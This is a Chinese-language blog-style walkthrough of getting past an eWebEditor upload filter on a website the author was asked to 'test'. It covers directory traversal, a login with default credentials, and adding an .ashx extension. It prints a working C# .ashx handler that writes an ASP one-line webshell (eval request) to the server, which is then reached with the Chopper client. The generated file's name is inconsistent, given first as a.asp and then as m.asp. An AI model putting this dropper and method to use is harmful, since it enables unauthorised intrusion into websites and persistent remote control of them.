前言:有人已经写过了,突破上传过滤,今天我也碰到了。就当记录一下吧,
有个朋友要我给他检测一个站点,很久都没操作,用来练练手把。
用自动扫描脚本扫描出敏感文件inc/ewebeditor/admin_login.asp
既然有ewebeditor
编辑器那就尝试下编辑器漏洞把。
/inc/ewebeditor/admin/upload.asp?id=6&d_viewmode=list&dir=../
发现存在目录遍历,然后使用默认密码登录ewebeditor后台,新添加样式,但是上传免杀小马被拦截,加密一句话也是一样的结果。
那如何怎么解决之个问题呢?
首先在编辑器样式的上传文件添加ashx后缀
在上传我们的Ashx马。
<%@ WebHandler Language="C#" Class="Handler" %> using System;using System.Web;using System.IO;public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("a.asp"));
file1.Write("<%eval request(\"a\")%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
}
}
接下来访问:http://www.xxx.com/UploadFile/eWebEditor/201329112155838.ashx
,会在eWebEditor生成一个m.asp文件(一句话木马),用菜刀访问http://www.xxx.com/UploadFile/eWebEditor/m.asp
,就突破了。